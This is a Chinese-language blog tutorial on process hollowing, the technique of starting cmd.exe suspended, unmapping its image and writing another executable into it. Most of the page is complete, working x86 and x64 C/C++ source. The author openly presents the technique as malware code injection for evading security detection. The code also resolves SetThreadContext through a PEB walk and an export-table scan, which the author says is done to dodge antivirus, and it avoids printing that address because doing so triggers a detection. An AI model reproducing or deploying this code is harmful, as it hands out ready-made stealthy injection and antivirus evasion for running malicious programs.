抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

进程镂空(傀儡进程)

进程镂空(Process Hollowing), 又称傀儡进程, 是一种恶意软件(malware)利用的代码注入技术。它主要用于恶意代码注入到合法进程中, 以规避安全检测、提高恶意代码执行的隐蔽性和稳定性;

x32位实现思路

创建挂起进程

以挂起的形式创建一个新的目标进程(以cmd.exe为例), 使用CreatePorcessA函数时需设置dwCreationFlags为CREATE_SUSPENDED;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
STARTUPINFOA lpStartupInfo = {};
lpStartupInfo.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi = {};
// 以挂起的形式启动一个进程
if (FALSE == CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&lpStartupInfo,
&pi
))
{
printf("CreateFile Failed\n");
return -1;
}

将恶意程序加载到内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HANDLE hFile = CreateFile(szTARGETFILE, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == NULL)
{
printf("CreateFile Failed.\n");
return -1;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
LPVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD dwReadLenth = 0;
if (FALSE == ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLenth, NULL))
{
printf("ReadFile Failed,\n");
return -1;
}
CloseHandle(hFile);

获取挂起进程上下文以及映像基址

通过ctx.Ebx+8可以获取傀儡进程的ImageBase地址,因为ctx.Ebx包含PEB地址,而PEB的ImageBaseAddress字段位于PEB的偏移量0x8

1
2
3
4
5
6
7
// 获取上下文
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);

LPVOID lpImageBase = NULL;
ReadProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL); // ctx.Ebx = PEB, ctx.Ebx + 8 = PEB.ImageBase

卸载挂起进程内存

1
2
3
4
5
6
7
8
9
10
if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase)
{
FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtUnmapViewOfSection");
if (NtUnmapViewOfSection == NULL)
{
printf("NtUnmapViewOfSection GetProcAddress Failed.\n");
return -1;
}
NtUnmapViewOfSection(pi.hProcess, lpImageBase);
}

将恶意程序内容写入目标进程

申请可读可写可执行内存, 将恶意程序头部写入内存, 然后循环将区段写入;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
LPVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpTargetMemory == NULL)
{
printf("VirtualAllocEx Failed\n");
return -1;
}
if (FALSE == WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL))
{
printf("WritePrcessMemory PE Header Failed.\n");
return -1;
}
for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSec->VirtualAddress), ((LPBYTE)lpBuffer + pSec->PointerToRawData), pSec->SizeOfRawData, NULL);
}

更新目标进程的线程上下文

将EntryPoint地址写入ctx.Eax是为了让目标进程在恢复执行时,从特定的地址(EntryPoint)开始运行; ctx.Ebx + sizeof(DWORD) * 2相当于ctx.Ebx + 0x8; 同样是将新的ImageBase写入到PEB偏移0x8处, 也就是ImageBaseAddress字段;

1
2
ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);

恢复目标进程主线程

使用动态获取SetThreadContext函数并调用, 规避一下杀软; 恢复主线程并关闭句柄;

1
2
3
4
5
6
7
8
9
10
11
12
//SetThreadContext(pi.hThread, &ctx);
MySetThreadContext mySetThreadContext = (MySetThreadContext)DynamicCall();
if (mySetThreadContext == NULL)
{
printf("DynamicCall Failed\n");
return 0;
}
mySetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

x32位完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
// 傀儡进程/进程镂空
// 1. 以挂起的模式启动一个进程(计算器,cmd,notepad)合法程序
// 2. 把真正要执行的代码读入
// 3. 获取挂起进程相关信息
// 4. 把挂起进程的内存掏空
// 5. 把要执行的代码写入掏空的进程
// 6. 恢复执行

#include <iostream>
#include <windows.h>

const wchar_t* szTARGETFILE = L"D:\\test.exe";

typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);
typedef BOOL (WINAPI* MySetThreadContext)(_In_ HANDLE hThread,_In_ CONST CONTEXT* lpContext);

// 动态获取SetThreadContext的地址
DWORD DynamicCall()
{
// 1. 获取Kernel32的基址
DWORD dwKernel32 = 0;
// TEB结构体
_TEB* pTeb = NtCurrentTeb();
// PEB结构体
PDWORD pPeb = (PDWORD) * (PDWORD)((DWORD)pTeb + 0x30);
// LDR结构体
PDWORD pLdr = (PDWORD) * (PDWORD)((DWORD)pPeb + 0x0c);
// 进程所有模块
PDWORD pInLoadOrderLinks = (PDWORD) * (PDWORD)((DWORD)pLdr + 0x0c);

// 主模块
PDWORD pModExe = (PDWORD)*pInLoadOrderLinks;
// NtDll
PDWORD pModNtDll = (PDWORD)*pModExe;
// Kernel32Dll
PDWORD pModKernel32 = (PDWORD)*pModNtDll;
// 基址
dwKernel32 = pModKernel32[6];

printf("Kernel32 Base: %08x %S\n", dwKernel32, (const char*)pModKernel32[12]);

// 解析PE文件
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwKernel32;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)pDos);
PIMAGE_DATA_DIRECTORY pDir = (PIMAGE_DATA_DIRECTORY)(pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT);
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDir->VirtualAddress + (DWORD)pDos);

PDWORD pwAddressOfFunctions = (PDWORD)(pExport->AddressOfFunctions + (DWORD)pDos);
PDWORD pwAddressOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD)pDos);
PWORD pAddressOfNameOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD)pDos);

DWORD dwNumberOfNames = pExport->NumberOfNames;

//DWORD dwGetProcAddress = 0;
DWORD dwSetThreadContext = 0;

for (size_t i = 0; i < dwNumberOfNames; i++)
{
const char* szFuncName = (char*)(pwAddressOfNames[i] + (DWORD)pDos);
char szSetThreadAddress[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't','\0'};
int nFlags = 0;
for (size_t j = 0; j < 16; j++)
{
if (szFuncName[j] == szSetThreadAddress[j])
{
nFlags++;
}
if (nFlags == 16)
{
dwSetThreadContext = (DWORD)(pwAddressOfFunctions[pAddressOfNameOrdinals[i]] + (DWORD)pDos);
break;
}
}
}
// 不能打印SetThreadContext地址, 会触发HR报毒
//printf("dwSetThreadContext: %08x\n", dwSetThreadContext);
if (dwSetThreadContext == NULL)
{
return 0;
}

return dwSetThreadContext;
}

int main()
{
STARTUPINFOA lpStartupInfo = {};
lpStartupInfo.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi = {};
// 以挂起的形式启动一个进程
if (FALSE == CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &lpStartupInfo, &pi))
{
printf("CreateFile Failed\n");
return -1;
}
HANDLE hFile = CreateFile(szTARGETFILE, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == NULL)
{
printf("CreateFile Failed.\n");
return -1;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
LPVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD dwReadLenth = 0;
if (FALSE == ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLenth, NULL))
{
printf("ReadFile Failed,\n");
return -1;
}
CloseHandle(hFile);

// 解析PE
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer);

// 获取上下文
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);

LPVOID lpImageBase = NULL;
ReadProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);

if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase)
{
FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtUnmapViewOfSection");
if (NtUnmapViewOfSection == NULL)
{
printf("NtUnmapViewOfSection GetProcAddress Failed.\n");
return -1;
}
NtUnmapViewOfSection(pi.hProcess, lpImageBase);
}
LPVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpTargetMemory == NULL)
{
printf("VirtualAllocEx Failed\n");
return -1;
}
if (FALSE == WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL))
{
printf("WritePrcessMemory PE Header Failed.\n");
return -1;
}
for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSec->VirtualAddress), ((LPBYTE)lpBuffer + pSec->PointerToRawData), pSec->SizeOfRawData, NULL);
}

ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);

//SetThreadContext(pi.hThread, &ctx);
MySetThreadContext mySetThreadContext = (MySetThreadContext)DynamicCall();
if (mySetThreadContext == NULL)
{
printf("DynamicCall Failed\n");
return 0;
}
mySetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

system("pause");
return 0;
}

x64位实现思路

实现逻辑和x32位基本类似, 区别在于动态获取函数地址时需要从gs:[0]偏移0x60获取PEB
在64位系统中, TEB存储在Rdx寄存器中, 在PEB结构中ImageBaseAddress字段位于偏移量0x10, 因此ctx.Rdx + (sizeof(SIZE_T) * 2)等同于(ctx.Rdx + 0x10)

x64位完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
// 傀儡进程/进程镂空(x64)
// 1. 以挂起的模式启动一个进程(计算器、cmd、notepad)合法程序
// 2. 把真正要执行的代码读入
// 3. 获取挂起进程相关信息
// 4. 把挂起进程的内存掏空
// 5. 把要执行的代码写入掏空的进程
// 6. 恢复执行

#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <intrin.h>


// 要加载的程序
const wchar_t* TARGETFILE = L"D:\\test.exe";
// 定义函数类型
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);
typedef BOOL(WINAPI* MySetThreadContext)(_In_ HANDLE hThread, _In_ CONST CONTEXT* lpContext);

DWORD64 DynamicCall()
{
// 通过PEB获取kernel32基址
PVOID pPeb = reinterpret_cast<PVOID>(__readgsqword(0x60));
if (!pPeb)
{
std::cerr << "Failed to get PEB address." << std::endl;
return 1;
}
// 计算 Ldr 地址的偏移量
ULONG64 ldrOffset = 0x18; // PEB 结构中 Ldr 成员的偏移量
// 获取_PEB_LDR_DATA
//PVOID pLdr = *reinterpret_cast<PVOID*>(reinterpret_cast<PBYTE>(pPeb) + (ULONG64)0x18);
PVOID pLdr = *reinterpret_cast<PVOID*>(reinterpret_cast<PBYTE>(pPeb) + ldrOffset);
if (!pLdr) {
std::cerr << "Failed to get Ldr address." << std::endl;
return 1;
}
// 计算InMemoryOrderModuleList地址的偏移量
ULONG64 moduleListOffset = offsetof(PEB_LDR_DATA, InMemoryOrderModuleList);
// 计算InMemoryOrderModuleList地址
PLIST_ENTRY pModuleList = reinterpret_cast<PLIST_ENTRY>(reinterpret_cast<PBYTE>(pLdr) + moduleListOffset);

// 获取KERNEL32.dll基址
PLIST_ENTRY pKernel32Entry = pModuleList->Flink->Flink->Flink;
PLDR_DATA_TABLE_ENTRY pKernelEntry = CONTAINING_RECORD(pKernel32Entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PVOID pKernelBase = pKernelEntry->DllBase;

// 解析PE
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pKernelBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD64)pDos);
PIMAGE_DATA_DIRECTORY pDir = (PIMAGE_DATA_DIRECTORY)(pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT);
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDir->VirtualAddress + (DWORD64)pDos);

PDWORD pwAddressOfFunctions = (PDWORD)(pExport->AddressOfFunctions + (DWORD64)pDos);
PDWORD pwAddressOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD64)pDos);
PWORD dwAddressOfNameOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD64)pDos);

DWORD dwNumberOfNames = pExport->NumberOfNames;

DWORD64 dwSetThreadContext = 0;

for (size_t i = 0; i < dwNumberOfNames; i++)
{
const char* szFuncName = (char*)(pwAddressOfNames[i] + (DWORD64)pDos);
char szSetThreadAddress[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't','\0' };
int iFlags = 0;
for (size_t j = 0; j < 16; j++)
{
if (szFuncName[j] == szSetThreadAddress[j])
{
iFlags++;
}
if (iFlags == 16)
{
dwSetThreadContext = (DWORD64)(pwAddressOfFunctions[dwAddressOfNameOrdinals[i]] + (DWORD64)pDos);
break;
}
}
}

if (dwSetThreadContext == NULL)
{
return 0;
}
return dwSetThreadContext;
}

int main()
{
STARTUPINFOA si = {0};
si.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi = {0};

if (FALSE == CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("CreateProcessA Failed\n");
return -1;
}
// 读取要执行的进程
HANDLE hFile = CreateFile(TARGETFILE, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (NULL == hFile)
{
printf("CreateFile Failed\n");
return -1;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
LPVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == lpBuffer)
{
printf("VirtualAlloc Failed\n");
return -1;
}
DWORD lpNumberOfBytesRead = 0;
if (FALSE == ReadFile(hFile, lpBuffer, dwFileSize, &lpNumberOfBytesRead, NULL))
{
printf("ReadFile Failed\n");
return -1;
}
CloseHandle(hFile);
printf("%x\n", *(short*)lpBuffer);

// 解析PE
PIMAGE_DOS_HEADER pDos = PIMAGE_DOS_HEADER(lpBuffer);
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD64)lpBuffer);

// 获取挂起进程上下文
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 获取挂起进程的映像基址
LPVOID lpOldImageBase = 0;
// (ctx.Rdx + (sizeof(SIZE_T) * 2) => ctx.Rdx + 0x10 => PEB + 0x10 = ImageBaseAddress
if (FALSE == ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &lpOldImageBase, sizeof(PVOID), NULL))
{
printf("ReadProcessMemory To lpOldImageBase Failed\n");
return -1;
}
// 判断文件预期加载地址是否被占用
FnNtUnmapViewOfSection fnNtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)lpOldImageBase == pNt->OptionalHeader.ImageBase)
{
fnNtUnmapViewOfSection(pi.hProcess, lpOldImageBase); // 卸载已存在的文件
}

// 为可执行映像分配内存, 写入PE文件头
LPVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpTargetMemory)
{
printf("VirtualAllocEx Failed\n");
return -1;
}
if (FALSE == WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL))
{
printf("WriteProcessMemory Failed\n");
return -1;
}
for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)lpTargetMemory + pSec->VirtualAddress), (PVOID)((LPBYTE)lpBuffer + pSec->PointerToRawData), pSec->SizeOfRawData, NULL);
}
// 将Rcx寄存器设置为入口点
ctx.Rcx = (SIZE_T)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNt->OptionalHeader.ImageBase, sizeof(PVOID), NULL);

//SetThreadContext(pi.hThread, &ctx);
MySetThreadContext mySetThreadContext = (MySetThreadContext)DynamicCall();
if (mySetThreadContext == NULL)
{
printf("DynamicCall Failed\n");
return -1;
}
mySetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

system("pause");
return 0;
}

评论